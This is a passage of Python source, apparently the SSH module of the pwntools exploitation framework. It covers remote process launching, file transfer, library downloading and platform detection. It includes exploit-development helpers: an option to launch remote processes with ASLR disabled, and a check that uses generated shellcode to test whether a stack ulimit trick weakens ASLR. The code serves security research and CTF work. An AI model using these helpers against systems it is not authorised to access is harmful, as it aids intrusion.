\"execve(%r, %s, %s)\" % (executable,\n                                                  argv,\n                                                  'os.environ'\n                                                  if (env in (None, getattr(os, \"environb\", os.environ))) \n                                                  else env)\n            # Avoid spamming the screen\n            if self.isEnabledFor(logging.DEBUG) and len(execve_repr) > 512:\n                execve_repr = execve_repr[:512] + '...'\n        else:\n            execve_repr = repr(executable)\n\n        msg = 'Starting remote process %s on %s' % (execve_repr, self.host)\n\n        if timeout == Timeout.default:\n            timeout = self.timeout\n\n        with self.progress(msg) as h:\n\n            script = 'echo PWNTOOLS; for py in python3 python2.7 python2 python; do test -x \"$(command -v $py 2>&1)\" && echo $py && exec $py -c %s check; done; echo 2' % sh_string(script)\n            with context.quiet:\n                python = ssh_process(self, script, tty=tty, cwd=cwd, raw=raw, level=self.level, timeout=timeout)\n\n            try:\n                python.recvline_contains(b'PWNTOOLS')   # Magic flag so that any sh/bash initialization errors are swallowed\n                try:\n                    if b'python' not in python.recvline():  # Python interpreter that was selected\n                        raise ValueError(\"Python not found on remote host\")\n                except (EOFError, ValueError):\n                    self.warn_once('Could not find a Python interpreter on %s\\n' % self.host\n                                   + \"Use ssh.system() instead of ssh.process()\\n\")\n                    h.failure(\"Process creation failed\")\n                    return None\n\n                result = safeeval.const(python.recvline())  # Status flag from the Python script\n            except (EOFError, ValueError):\n                h.failure(\"Process creation failed\")\n                return None\n\n            # If an error occurred, try to grab as much output\n            # as we can.\n            if result != 1:\n                error_message = python.recvrepeat(timeout=1)\n\n            if result == 0:\n                self.error(\"%r does not exist or is not executable\" % executable)\n            elif result == 3:\n                self.error(\"%r\" % error_message)\n            elif result == 2:\n                self.error(\"python is not installed on the remote system %r\" % self.host)\n            elif result != 1:\n                h.failure(\"something bad happened:\\n%s\" % error_message)\n\n            python.pid  = safeeval.const(python.recvline())\n            python.uid  = safeeval.const(python.recvline())\n            python.gid  = safeeval.const(python.recvline())\n            python.suid = safeeval.const(python.recvline())\n            python.sgid = safeeval.const(python.recvline())\n            python.argv = argv\n            python.executable = packing._decode(python.recvuntil(b'\\x00')[:-1])\n\n            h.success('pid %i' % python.pid)\n\n        if not aslr and setuid and (python.uid != python.suid or python.gid != python.sgid):\n            effect = \"partial\" if self.aslr_ulimit else \"no\"\n            message = \"Specfied aslr=False on setuid binary %s\\n\" % python.executable\n            message += \"This will have %s effect.  Add setuid=False to disable ASLR for debugging.\\n\" % effect\n\n            if self.aslr_ulimit:\n                message += \"Unlimited stack size should de-randomize shared libraries.\"\n\n            self.warn_once(message)\n\n        elif not aslr:\n            self.warn_once(\"ASLR is disabled for %r!\" % python.executable)\n\n        return python\n\n    def which(self, program):\n        \"\"\"which(program) -> str\n\n        Minor modification to just directly invoking ``which`` on the remote\n        system which adds the current working directory to the end of ``$PATH``.\n        \"\"\"\n        # If name is a path, do not attempt to resolve it.\n        if os.path.sep in program:\n            return program\n\n        program = packing._encode(program)\n\n        result = self.system(b'export PATH=$PATH:$PWD; command -v ' + program).recvall().strip()\n\n        if (b'/' + program) not in result:\n            return None\n\n        return packing._decode(result)\n\n    def system(self, process, tty = True, cwd = None, env = None, timeout = None, raw = True, wd = None):\n        r\"\"\"system(process, tty = True, cwd = None, env = None, timeout = Timeout.default, raw = True) -> ssh_channel\n\n        Open a new channel with a specific process inside. If `tty` is True,\n        then a TTY is requested on the remote server.\n\n        If `raw` is True, terminal control codes are ignored and input is not\n        echoed back.\n\n        Return a :class:`pwnlib.tubes.ssh.ssh_channel` object.\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> py = s.system('python3 -i')\n            >>> _ = py.recvuntil(b'>>> ')\n            >>> py.sendline(b'print(2+2)')\n            >>> py.sendline(b'exit()')\n            >>> print(repr(py.recvline()))\n            b'4\\n'\n            >>> s.system('env | grep -a AAAA', env={'AAAA': b'\\x90'}).recvall()\n            b'AAAA=\\x90\\n'\n            >>> io = s.system('pwd', cwd='/tmp')\n            >>> io.recvall()\n            b'/tmp\\n'\n            >>> io.cwd\n            '/tmp'\n        \"\"\"\n        if wd is not None:\n            self.warning_once(\"The 'wd' argument to ssh.system() is deprecated.  Use 'cwd' instead.\")\n            if cwd is None:\n                cwd = wd\n        if cwd is None:\n            cwd = self.cwd\n\n        if timeout is None:\n            timeout = self.timeout\n\n        return ssh_channel(self, process, tty, cwd, env, timeout = timeout, level = self.level, raw = raw)\n\n    #: Backward compatibility.  Use :meth:`system`\n    run = system\n\n    def getenv(self, variable, **kwargs):\n        \"\"\"Retrieve the address of an environment variable on the remote\n        system.\n\n        Note:\n\n            The exact address will differ based on what other environment\n            variables are set, as well as argv[0].  In order to ensure that\n            the path is *exactly* the same, it is recommended to invoke the\n            process with ``argv=[]``.\n        \"\"\"\n        script = '''\nfrom ctypes import *; libc = CDLL('libc.so.6'); print(libc.getenv(%r))\n''' % variable\n\n        with context.local(log_level='error'):\n            python = self.which('python') or self.which('python2.7') or self.which('python3')\n\n            if not python:\n                self.error(\"Python is not installed on the remote system.\")\n\n            io = self.process(['','-c', script.strip()], executable=python, **kwargs)\n            result = io.recvall()\n\n        try:\n            return int(result) & context.mask\n        except ValueError:\n            self.exception(\"Could not look up environment variable %r\" % variable)\n\n\n\n    def run_to_end(self, process, tty = False, cwd = None, env = None, wd = None):\n        r\"\"\"run_to_end(process, tty = False, cwd = None, env = None, timeout = Timeout.default) -> str\n\n        Run a command on the remote server and return a tuple with\n        (data, exit_status). If `tty` is True, then the command is run inside\n        a TTY on the remote server.\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> print(s.run_to_end('echo Hello; exit 17'))\n            (b'Hello\\n', 17)\n            \"\"\"\n\n        if wd is not None:\n            self.warning_once(\"The 'wd' argument to ssh.run_to_end() is deprecated.  Use 'cwd' instead.\")\n            if cwd is None:\n                cwd = wd\n\n        with context.local(log_level = 'ERROR'):\n            c = self.system(process, tty, cwd = cwd, env = env, timeout = Timeout.default)\n            data = c.recvall()\n            retcode = c.wait()\n            c.close()\n            return data, retcode\n\n    def connect_remote(self, host, port, timeout = Timeout.default):\n        r\"\"\"connect_remote(host, port, timeout = Timeout.default) -> ssh_connecter\n\n        Connects to a host through an SSH connection. This is equivalent to\n        using the ``-L`` flag on ``ssh``.\n\n        Returns a :class:`pwnlib.tubes.ssh.ssh_connecter` object.\n\n        Examples:\n\n            >>> from pwn import *\n            >>> l = listen()\n            >>> s =  ssh(host='example.pwnme')\n            >>> a = s.connect_remote(s.host, l.lport)\n            >>> a=a; b = l.wait_for_connection()  # a=a; prevents hangs\n            >>> a.sendline(b'Hello')\n            >>> print(repr(b.recvline()))\n            b'Hello\\n'\n        \"\"\"\n\n        return ssh_connecter(self, host, port, timeout, level=self.level)\n\n    remote = connect_remote\n\n    def listen_remote(self, port = 0, bind_address = '', timeout = Timeout.default):\n        r\"\"\"listen_remote(port = 0, bind_address = '', timeout = Timeout.default) -> ssh_connecter\n\n        Listens remotely through an SSH connection. This is equivalent to\n        using the ``-R`` flag on ``ssh``.\n\n        Returns a :class:`pwnlib.tubes.ssh.ssh_listener` object.\n\n        Examples:\n\n            >>> from pwn import *\n            >>> s =  ssh(host='example.pwnme')\n            >>> l = s.listen_remote()\n            >>> a = remote(s.host, l.port)\n            >>> a=a; b = l.wait_for_connection()  # a=a; prevents hangs\n            >>> a.sendline(b'Hello')\n            >>> print(repr(b.recvline()))\n            b'Hello\\n'\n        \"\"\"\n\n        return ssh_listener(self, bind_address, port, timeout, level=self.level)\n\n    listen = listen_remote\n\n    def __getitem__(self, attr):\n        \"\"\"Permits indexed access to run commands over SSH\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> print(repr(s['echo hello']))\n            b'hello'\n        \"\"\"\n        return self.system(attr).recvall().strip()\n\n    def __call__(self, attr):\n        \"\"\"Permits function-style access to run commands over SSH\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> print(repr(s('echo hello')))\n            b'hello'\n        \"\"\"\n        return self.system(attr).recvall().strip()\n\n    def __getattr__(self, attr):\n        \"\"\"Permits member access to run commands over SSH.\n\n        Supports other keyword arguments which are passed to :meth:`.system`.\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> s.echo('hello')\n            b'hello'\n            >>> s.whoami()\n            b'travis'\n            >>> s.echo(['huh','yay','args'])\n            b'huh yay args'\n            >>> s.echo('value: $MYENV', env={'MYENV':'the env'})\n            b'value: the env'\n        \"\"\"\n        bad_attrs = [\n            'trait_names',          # ipython tab-complete\n        ]\n\n        if attr in self.__dict__ \\\n        or attr in bad_attrs \\\n        or attr.startswith('_'):\n            raise AttributeError\n\n        @LocalContext\n        def runner(*args, **kwargs):\n            if len(args) == 1 and isinstance(args[0], (list, tuple)):\n                command = [attr]\n                command.extend(args[0])\n            else:\n                command = [attr]\n                command.extend(args)\n                command = b' '.join(packing._need_bytes(arg, min_wrong=0x80) for arg in command)\n\n            return self.system(command, **kwargs).recvall().strip()\n        return runner\n\n    def connected(self):\n        \"\"\"Returns True if we are connected.\n\n        Example:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> s.connected()\n            True\n            >>> s.close()\n            >>> s.connected()\n            False\n        \"\"\"\n        return bool(self.client and self.client.get_transport().is_active())\n\n    def close(self):\n        \"\"\"Close the connection.\"\"\"\n        if self.client:\n            self.client.close()\n            self.client = None\n            self.info(\"Closed connection to %r\" % self.host)\n\n    def _libs_remote(self, remote):\n        \"\"\"Return a dictionary of the libraries used by a remote file.\"\"\"\n        escaped_remote = sh_string(remote)\n        cmd = ''.join([\n            '(',\n            'ulimit -s unlimited;',\n            'ldd %s > /dev/null &&' % escaped_remote,\n            '(',\n            'LD_TRACE_LOADED_OBJECTS=1 %s||' % escaped_remote,\n            'ldd %s' % escaped_remote,\n            '))',\n            ' 2>/dev/null'\n        ])\n        data, status = self.run_to_end(cmd)\n        if status != 0:\n            self.error('Unable to find libraries for %r' % remote)\n            return {}\n\n        return misc.parse_ldd_output(packing._decode(data))\n\n    def _get_fingerprint(self, remote):\n        cmd = '(sha256 || sha256sum || openssl sha256) 2>/dev/null < '\n        cmd = cmd + sh_string(remote)\n\n        data, status = self.run_to_end(cmd)\n\n        if status != 0:\n            return None\n\n        if not isinstance(data, str):\n            data = data.decode('ascii')\n\n        data = re.search(\"([a-fA-F0-9]{64})\",data).group()\n        return data\n\n    def _get_cachefile(self, fingerprint):\n        return os.path.join(self._cachedir, fingerprint)\n\n    def _verify_local_fingerprint(self, fingerprint):\n        if not set(fingerprint).issubset(string.hexdigits) or \\\n           len(fingerprint) != 64:\n            self.error('Invalid fingerprint %r' % fingerprint)\n            return False\n\n        local = self._get_cachefile(fingerprint)\n        if not os.path.isfile(local):\n            return False\n\n        if hashes.sha256filehex(local) == fingerprint:\n            return True\n        else:\n            os.unlink(local)\n            return False\n\n    def _download_raw(self, remote, local, h):\n        def update(has, total):\n            h.status(\"%s/%s\" % (misc.size(has), misc.size(total)))\n\n        if self.sftp:\n            try:\n                self.sftp.get(remote, local, update)\n                return\n            except IOError:\n                pass\n\n        cmd = 'wc -c < ' + sh_string(remote)\n        total, exitcode = self.run_to_end(cmd)\n\n        if exitcode != 0:\n            h.failure(\"%r does not exist or is not accessible\" % remote)\n            return\n\n        total = int(total)\n\n        with context.local(log_level = 'ERROR'):\n            cmd = 'cat < ' + sh_string(remote)\n            c = self.system(cmd)\n        data = b''\n\n        while True:\n            try:\n                data += c.recv()\n            except EOFError:\n                break\n            update(len(data), total)\n\n        result = c.wait()\n\n        if result == -1:\n            self.warn_once(\"Could not verify success of file download %r, no error code\" % (remote))\n\n        if result != 0 and result != -1:\n            h.failure('Could not download file %r (%r)' % (remote, result))\n            return\n\n        with open(local, 'wb') as fd:\n            fd.write(data)\n\n    def _download_to_cache(self, remote, p, fingerprint=True):\n\n        with context.local(log_level='error'):\n            remote = self.readlink('-f', remote, tty=False)\n        if not hasattr(remote, 'encode'):\n            remote = remote.decode('utf-8')\n\n        fingerprint = fingerprint and self._get_fingerprint(remote) or None\n        if fingerprint is None:\n            local = os.path.normpath(remote)\n            local = os.path.basename(local)\n            local += time.strftime('-%Y-%m-%d-%H:%M:%S')\n            local = os.path.join(self._cachedir, local)\n\n            self._download_raw(remote, local, p)\n            return local\n\n        local = self._get_cachefile(fingerprint)\n\n        if self.cache and self._verify_local_fingerprint(fingerprint):\n            p.success('Found %r in ssh cache' % remote)\n        else:\n            self._download_raw(remote, local, p)\n\n            if not self._verify_local_fingerprint(fingerprint):\n                self.error('Could not download file %r', remote)\n\n        return local\n\n    def download_data(self, remote, fingerprint=True):\n        \"\"\"Downloads a file from the remote server and returns it as a string.\n\n        Arguments:\n            remote(str): The remote filename to download.\n\n\n        Examples:\n\n            >>> with open('/tmp/bar','w+') as f:\n            ...     _ = f.write('Hello, world')\n            >>> s =  ssh(host='example.pwnme',\n            ...         cache=False)\n            >>> s.download_data('/tmp/bar')\n            b'Hello, world'\n            >>> s._sftp = None\n            >>> s._tried_sftp = True\n            >>> s.download_data('/tmp/bar')\n            b'Hello, world'\n\n        \"\"\"\n        with self.progress('Downloading %r' % remote) as p:\n            with open(self._download_to_cache(remote, p, fingerprint), 'rb') as fd:\n                return fd.read()\n\n    def download_file(self, remote, local = None):\n        \"\"\"Downloads a file from the remote server.\n\n        The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so\n        calling the function twice has little overhead.\n\n        Arguments:\n            remote(str/bytes): The remote filename to download\n            local(str): The local filename to save it to. Default is to infer it from the remote filename.\n        \n        Examples:\n\n            >>> with open('/tmp/foobar','w+') as f:\n            ...     _ = f.write('Hello, world')\n            >>> s =  ssh(host='example.pwnme',\n            ...         cache=False)\n            >>> _ = s.set_working_directory(wd='/tmp')\n            >>> _ = s.download_file('foobar', 'barfoo')\n            >>> with open('barfoo','r') as f:\n            ...     print(f.read())\n            Hello, world\n        \"\"\"\n\n\n        if not local:\n            local = os.path.basename(os.path.normpath(remote))\n\n        with self.progress('Downloading %r to %r' % (remote, local)) as p:\n            local_tmp = self._download_to_cache(remote, p)\n\n        # Check to see if an identical copy of the file already exists\n        if not os.path.exists(local) or hashes.sha256filehex(local_tmp) != hashes.sha256filehex(local):\n            shutil.copy2(local_tmp, local)\n\n    def download_dir(self, remote=None, local=None, ignore_failed_read=False):\n        \"\"\"Recursively downloads a directory from the remote server\n\n        Arguments:\n            local: Local directory\n            remote: Remote directory\n        \"\"\"\n        remote = packing._encode(remote or self.cwd)\n\n        if self.sftp:\n            remote = packing._encode(self.sftp.normalize(remote))\n        else:\n            with context.local(log_level='error'):\n                remote = self.system(b'readlink -f ' + sh_string(remote)).recvall().strip()\n\n        local = local or '.'\n        local = os.path.expanduser(local)\n\n        self.info(\"Downloading %r to %r\" % (remote, local))\n\n        if ignore_failed_read:\n            opts = b\" --ignore-failed-read\"\n        else:\n            opts = b\"\"\n        with context.local(log_level='error'):\n            remote_tar = self.mktemp()\n            cmd = b'tar %s -C %s -czf %s .' % \\\n                  (opts,\n                   sh_string(remote),\n                   sh_string(remote_tar))\n            tar = self.system(cmd)\n\n            if 0 != tar.wait():\n                self.error(\"Could not create remote tar\")\n\n            local_tar = tempfile.NamedTemporaryFile(suffix='.tar.gz')\n            self.download_file(remote_tar, local_tar.name)\n\n            # Delete temporary tarfile from remote host\n            if self.sftp:\n                self.unlink(remote_tar)\n            else:\n                self.system(b'rm ' + sh_string(remote_tar)).wait()\n            tar = tarfile.open(local_tar.name)\n            tar.extractall(local)\n\n\n    def upload_data(self, data, remote):\n        \"\"\"Uploads some data into a file on the remote server.\n\n        Arguments:\n            data(str): The data to upload.\n            remote(str): The filename to upload it to.\n\n        Example:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> s.upload_data(b'Hello, world', '/tmp/upload_foo')\n            >>> print(open('/tmp/upload_foo').read())\n            Hello, world\n            >>> s._sftp = False\n            >>> s._tried_sftp = True\n            >>> s.upload_data(b'Hello, world', '/tmp/upload_bar')\n            >>> print(open('/tmp/upload_bar').read())\n            Hello, world\n        \"\"\"\n        data = packing._need_bytes(data)\n        # If a relative path was provided, prepend the cwd\n        if os.path.normpath(remote) == os.path.basename(remote):\n            remote = os.path.join(self.cwd, remote)\n\n        if self.sftp:\n            with tempfile.NamedTemporaryFile() as f:\n                f.write(data)\n                f.flush()\n                self.sftp.put(f.name, remote)\n                return\n\n        with context.local(log_level = 'ERROR'):\n            cmd = 'cat > ' + sh_string(remote)\n            s = self.system(cmd, tty=False)\n            s.send(data)\n            s.shutdown('send')\n            data   = s.recvall()\n            result = s.wait()\n\n            if result == -1:\n                self.warn_once(\"Could not verify success of file upload %r, no error code\" % (remote))\n\n            if result != 0 and result != -1:\n                self.error(\"Could not upload file %r (%r)\\n%s\" % (remote, result, data))\n\n    def upload_file(self, filename, remote = None):\n        \"\"\"Uploads a file to the remote server. Returns the remote filename.\n\n        Arguments:\n        filename(str): The local filename to download\n        remote(str): The remote filename to save it to. Default is to infer it from the local filename.\"\"\"\n\n\n        if remote is None:\n            remote = os.path.normpath(filename)\n            remote = os.path.basename(remote)\n            remote = os.path.join(self.cwd, remote)\n\n        with open(filename, 'rb') as fd:\n            data = fd.read()\n\n        self.info(\"Uploading %r to %r\" % (filename,remote))\n        self.upload_data(data, remote)\n\n        return remote\n\n    def upload_dir(self, local, remote=None):\n        \"\"\"Recursively uploads a directory onto the remote server\n\n        Arguments:\n            local: Local directory\n            remote: Remote directory\n        \"\"\"\n\n        remote    = packing._encode(remote or self.cwd)\n\n        local     = os.path.expanduser(local)\n        dirname   = os.path.dirname(local)\n        basename  = os.path.basename(local)\n\n        if not os.path.isdir(local):\n            self.error(\"%r is not a directory\" % local)\n\n        msg = \"Uploading %r to %r\" % (basename,remote)\n        with self.waitfor(msg):\n            # Generate a tarfile with everything inside of it\n            local_tar  = tempfile.mktemp()\n            with tarfile.open(local_tar, 'w:gz') as tar:\n                tar.add(local, basename)\n\n            # Upload and extract it\n            with context.local(log_level='error'):\n                remote_tar = self.mktemp('--suffix=.tar.gz')\n                self.upload_file(local_tar, remote_tar)\n\n                untar = self.system(b'cd %s && tar -xzf %s' % (sh_string(remote), sh_string(remote_tar)))\n                message = untar.recvrepeat(2)\n\n                if untar.wait() != 0:\n                    self.error(\"Could not untar %r on the remote end\\n%s\" % (remote_tar, message))\n\n    def upload(self, file_or_directory, remote=None):\n        \"\"\"upload(file_or_directory, remote=None)\n\n        Upload a file or directory to the remote host.\n\n        Arguments:\n            file_or_directory(str): Path to the file or directory to download.\n            remote(str): Local path to store the data.\n                By default, uses the working directory.\n        \"\"\"\n        if isinstance(file_or_directory, str):\n            file_or_directory = os.path.expanduser(file_or_directory)\n            file_or_directory = os.path.expandvars(file_or_directory)\n\n        if os.path.isfile(file_or_directory):\n            return self.upload_file(file_or_directory, remote)\n\n        if os.path.isdir(file_or_directory):\n            return self.upload_dir(file_or_directory, remote)\n\n        self.error('%r does not exist' % file_or_directory)\n\n    def download(self, file_or_directory, local=None):\n        \"\"\"download(file_or_directory, local=None)\n\n        Download a file or directory from the remote host.\n\n        Arguments:\n            file_or_directory(str): Path to the file or directory to download.\n            local(str): Local path to store the data.\n                By default, uses the current directory.\n        \n\n        Examples:\n\n            >>> with open('/tmp/foobar','w+') as f:\n            ...     _ = f.write('Hello, world')\n            >>> s =  ssh(host='example.pwnme',\n            ...         cache=False)\n            >>> _ = s.set_working_directory('/tmp')\n            >>> _ = s.download('foobar', 'barfoo')\n            >>> with open('barfoo','r') as f:\n            ...     print(f.read())\n            Hello, world\n        \"\"\"\n        file_or_directory = packing._encode(file_or_directory)\n        with self.system(b'test -d ' + sh_string(file_or_directory)) as io:\n            is_dir = io.wait()\n\n        if 0 == is_dir:\n            self.download_dir(file_or_directory, local)\n        else:\n            self.download_file(file_or_directory, local)\n\n    put = upload\n    get = download\n\n    def unlink(self, file):\n        \"\"\"unlink(file)\n\n        Delete the file on the remote host\n\n        Arguments:\n            file(str): Path to the file\n        \"\"\"\n        if not self.sftp:\n            self.error(\"unlink() is only supported if SFTP is supported\")\n\n        return self.sftp.unlink(file)\n\n    def libs(self, remote, directory = None, flatten = False):\n        \"\"\"Downloads the libraries referred to by a file.\n\n        This is done by running ldd on the remote server, parsing the output\n        and downloading the relevant files.\n\n        The directory argument specified where to download the files. This defaults\n        to './$HOSTNAME' where $HOSTNAME is the hostname of the remote server.\n\n        Arguments:\n            remote(str): Remote file path\n            directory(str): Output directory\n            flatten(bool): Flatten the file tree if True (defaults to False) and\n                ignore the remote directory structure. If there are duplicate\n                filenames, an error will be raised.\n        \"\"\"\n\n        libs = self._libs_remote(remote)\n\n        remote = packing._decode(self.readlink('-f',remote).strip())\n        libs[remote] = 0\n\n        if flatten:\n            basenames = dict()\n\n            # If there is a duplicate switch to unflattened download\n            for lib in libs:\n                name = os.path.basename(lib)\n\n                if name in basenames.values():\n                    duplicate = [key for key, value in basenames.items() if\n                                 value == name][0]\n                    self.error('Duplicate lib name: %r / %4r' % (lib, duplicate))\n\n                basenames[lib] = name\n\n        if directory is None:\n            directory = self.host\n\n        directory = os.path.realpath(directory)\n\n        res = {}\n\n        seen = set()\n\n        for lib, addr in libs.items():\n            local = os.path.realpath(os.path.join(directory, '.' + os.path.sep \\\n                    + (basenames[lib] if flatten else lib)))\n            if not local.startswith(directory):\n                self.warning('This seems fishy: %r' % lib)\n                continue\n\n            misc.mkdir_p(os.path.dirname(local))\n\n            if lib not in seen:\n                self.download_file(lib, local)\n                seen.add(lib)\n            res[local] = addr\n\n        return res\n\n    def interactive(self, shell=None):\n        \"\"\"Create an interactive session.\n\n        This is a simple wrapper for creating a new\n        :class:`pwnlib.tubes.ssh.ssh_channel` object and calling\n        :meth:`pwnlib.tubes.ssh.ssh_channel.interactive` on it.\"\"\"\n\n        s = self.shell(shell)\n\n        if self.cwd != '.':\n            cmd = 'cd ' + sh_string(self.cwd)\n            s.sendline(packing._need_bytes(cmd, 2, 0x80))\n\n        s.interactive()\n        s.close()\n\n    def set_working_directory(self, wd = None, symlink = False):\n        \"\"\"Sets the working directory in which future commands will\n        be run (via ssh.run) and to which files will be uploaded/downloaded\n        from if no path is provided\n\n        Note:\n            This uses ``mktemp -d`` under the covers, sets permissions\n            on the directory to ``0700``.  This means that setuid binaries\n            will **not** be able to access files created in this directory.\n\n            In order to work around this, we also ``chmod +x`` the directory.\n\n        Arguments:\n            wd(string): Working directory.  Default is to auto-generate a directory\n                based on the result of running 'mktemp -d' on the remote machine.\n            symlink(bool,str): Create symlinks in the new directory.\n\n                The default value, ``False``, implies that no symlinks should be\n                created.\n\n                A string value is treated as a path that should be symlinked.\n                It is passed directly to the shell on the remote end for expansion,\n                so wildcards work.\n\n                Any other value is treated as a boolean, where ``True`` indicates\n                that all files in the \"old\" working directory should be symlinked.\n\n        Examples:\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> cwd = s.set_working_directory()\n            >>> s.ls()\n            b''\n            >>> packing._decode(s.pwd()) == cwd\n            True\n\n            >>> s =  ssh(host='example.pwnme')\n            >>> homedir = s.pwd()\n            >>> _=s.touch('foo')\n\n            >>> _=s.set_working_directory()\n            >>> assert s.ls() == b''\n\n            >>> _=s.set_working_directory(homedir)\n            >>> assert b'foo' in s.ls().split(), s.ls().split()\n\n            >>> _=s.set_working_directory(symlink=True)\n            >>> assert b'foo' in s.ls().split(), s.ls().split()\n            >>> assert homedir != s.pwd()\n\n            >>> symlink=os.path.join(homedir,b'*')\n            >>> _=s.set_working_directory(symlink=symlink)\n            >>> assert b'foo' in s.ls().split(), s.ls().split()\n            >>> assert homedir != s.pwd()\n\n            >>> _=s.set_working_directory()\n            >>> io = s.system('pwd')\n            >>> io.recvallS().strip() == io.cwd\n            True\n            >>> io.cwd == s.cwd\n            True\n        \"\"\"\n        status = 0\n\n        if symlink and not isinstance(symlink, (bytes, str)):\n            symlink = os.path.join(self.pwd(), b'*')\n        if not hasattr(symlink, 'encode') and hasattr(symlink, 'decode'):\n            symlink = symlink.decode('utf-8')\n            \n        if isinstance(wd, str):\n            wd = packing._need_bytes(wd, 2, 0x80)\n\n        if not wd:\n            wd, status = self.run_to_end('x=$(mktemp -d) && cd $x && chmod +x . && echo $PWD', cwd='.')\n            wd = wd.strip()\n\n            if status:\n                self.error(\"Could not generate a temporary directory (%i)\\n%s\" % (status, wd))\n\n        else:\n            cmd = b'ls ' + sh_string(wd)\n            _, status = self.run_to_end(cmd, wd = '.')\n\n            if status:\n                self.error(\"%r does not appear to exist\" % wd)\n\n        if not isinstance(wd, str):\n            wd = wd.decode('utf-8')\n        self.cwd = wd\n\n        self.info(\"Working directory: %r\" % self.cwd)\n\n        if symlink:\n            self.ln('-s', symlink, '.')\n\n        return wd\n\n    def write(self, path, data):\n        \"\"\"Wrapper around upload_data to match :func:`pwnlib.util.misc.write`\"\"\"\n        data = packing._need_bytes(data)\n        return self.upload_data(data, path)\n\n    def read(self, path):\n        \"\"\"Wrapper around download_data to match :func:`pwnlib.util.misc.read`\"\"\"\n        return self.download_data(path)\n\n    def _init_remote_platform_info(self):\n        r\"\"\"Fills _platform_info, e.g.:\n\n        ::\n\n            {'distro': 'Ubuntu\\n',\n             'distro_ver': '14.04\\n',\n             'machine': 'x86_64',\n             'node': 'pwnable.kr',\n             'processor': 'x86_64',\n             'release': '3.11.0-12-generic',\n             'system': 'linux',\n             'version': '#19-ubuntu smp wed oct 9 16:20:46 utc 2013'}\n        \"\"\"\n        if self._platform_info:\n            return\n\n        def preexec():\n            import platform\n            print('\\n'.join(platform.uname()))\n\n        with context.quiet:\n            with self.process('true', preexec_fn=preexec) as io:\n\n                self._platform_info = {\n                    'system': io.recvline().lower().strip().decode(),\n                    'node': io.recvline().lower().strip().decode(),\n                    'release': io.recvline().lower().strip().decode(),\n                    'version': io.recvline().lower().strip().decode(),\n                    'machine': io.recvline().lower().strip().decode(),\n                    'processor': io.recvline().lower().strip().decode(),\n                    'distro': 'Unknown',\n                    'distro_ver': ''\n                }\n\n            try:\n                if not self.which('lsb_release'):\n                    return\n\n                with self.process(['lsb_release', '-irs']) as io:\n                    lsb_info = io.recvall().strip().decode()\n                    self._platform_info['distro'], self._platform_info['distro_ver'] = lsb_info.split()\n            except Exception:\n                pass\n\n    @property\n    def os(self):\n        \"\"\":class:`str`: Operating System of the remote machine.\"\"\"\n        try:\n            self._init_remote_platform_info()\n            with context.local(os=self._platform_info['system']):\n                return context.os\n        except Exception:\n            return \"Unknown\"\n\n\n    @property\n    def arch(self):\n        \"\"\":class:`str`: CPU Architecture of the remote machine.\"\"\"\n        try:\n            self._init_remote_platform_info()\n            with context.local(arch=self._platform_info['machine']):\n                return context.arch\n        except Exception:\n            return \"Unknown\"\n\n    @property\n    def bits(self):\n        \"\"\":class:`str`: Pointer size of the remote machine.\"\"\"\n        try:\n            with context.local():\n                context.clear()\n                context.arch = self.arch\n                return context.bits\n        except Exception:\n            return context.bits\n\n    @property\n    def version(self):\n        \"\"\":class:`tuple`: Kernel version of the remote machine.\"\"\"\n        try:\n            self._init_remote_platform_info()\n            vers = self._platform_info['release']\n\n            # 3.11.0-12-generic\n            expr = r'([0-9]+\\.?)+'\n\n            vers = re.search(expr, vers).group()\n            return tuple(map(int, vers.split('.')))\n\n        except Exception:\n            return (0,0,0)\n\n    @property\n    def distro(self):\n        \"\"\":class:`tuple`: Linux distribution name and release.\"\"\"\n        try:\n            self._init_remote_platform_info()\n            return (self._platform_info['distro'], self._platform_info['distro_ver'])\n        except Exception:\n            return (\"Unknown\", \"Unknown\")\n\n    @property\n    def aslr(self):\n        \"\"\":class:`bool`: Whether ASLR is enabled on the system.\n\n        Example:\n\n            >>> s = ssh(\"travis\", \"example.pwnme\")\n            >>> s.aslr\n            True\n        \"\"\"\n        if self._aslr is None:\n            if self.os != 'linux':\n                self.warn_once(\"Only Linux is supported for ASLR checks.\")\n                self._aslr = False\n\n            else:\n                with context.quiet:\n                    rvs = self.read('/proc/sys/kernel/randomize_va_space')\n\n                self._aslr = not rvs.startswith(b'0')\n\n        return self._aslr\n\n    @property\n    def aslr_ulimit(self):\n        \"\"\":class:`bool`: Whether the entropy of 32-bit processes can be reduced with ulimit.\"\"\"\n        import pwnlib.elf.elf\n        import pwnlib.shellcraft\n\n        if self._aslr_ulimit is not None:\n            return self._aslr_ulimit\n\n        # This test must run a 32-bit binary, fix the architecture\n        arch = {\n            'amd64': 'i386',\n            'aarch64': 'arm'\n        }.get(self.arch, self.arch)\n\n        with context.local(arch=arch, bits=32, os=self.os, aslr=True):\n            with context.quiet:\n                try:\n                    sc = pwnlib.shellcraft.cat('/proc/self/maps') \\\n                       + pwnlib.shellcraft.exit(0)\n\n                    elf = pwnlib.elf.elf.ELF.from_assembly(sc, shared=True)\n                except Exception:\n                    self.warn_once(\"Can't determine ulimit ASLR status\")\n                    self._aslr_ulimit = False\n                    return self._aslr_ulimit\n\n                def preexec():\n                    import resource\n                    try:\n                        resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))\n                    except Exception:\n                        pass\n\n                # Move to a new temporary directory\n                cwd = self.cwd\n                tmp = self.set_working_directory()\n\n                try:\n                    self.upload(elf.path, './aslr-test')\n                except IOError:\n                    self.warn_once(\"Couldn't check ASLR ulimit trick\")\n                    self._aslr_ulimit = False\n                    return False\n\n                self.process(['chmod', '+x', './aslr-test']).wait()\n                maps = self.process(['./aslr-test'], preexec_fn=preexec).recvall()\n\n                # Move back to the old directory\n                self.cwd = cwd\n\n                # Clean up the files\n                self.process(['rm', '-rf', tmp]).wait()\n\n        # Check for 555555000 (1/3 of the address space for PAE)\n        # and for 40000000 (1/3 of the address space with 3BG barrier)\n        self._aslr_ulimit = bool(b'55555000' in maps or b'40000000' in maps)\n\n        return self._aslr_ulimit\n\n    def 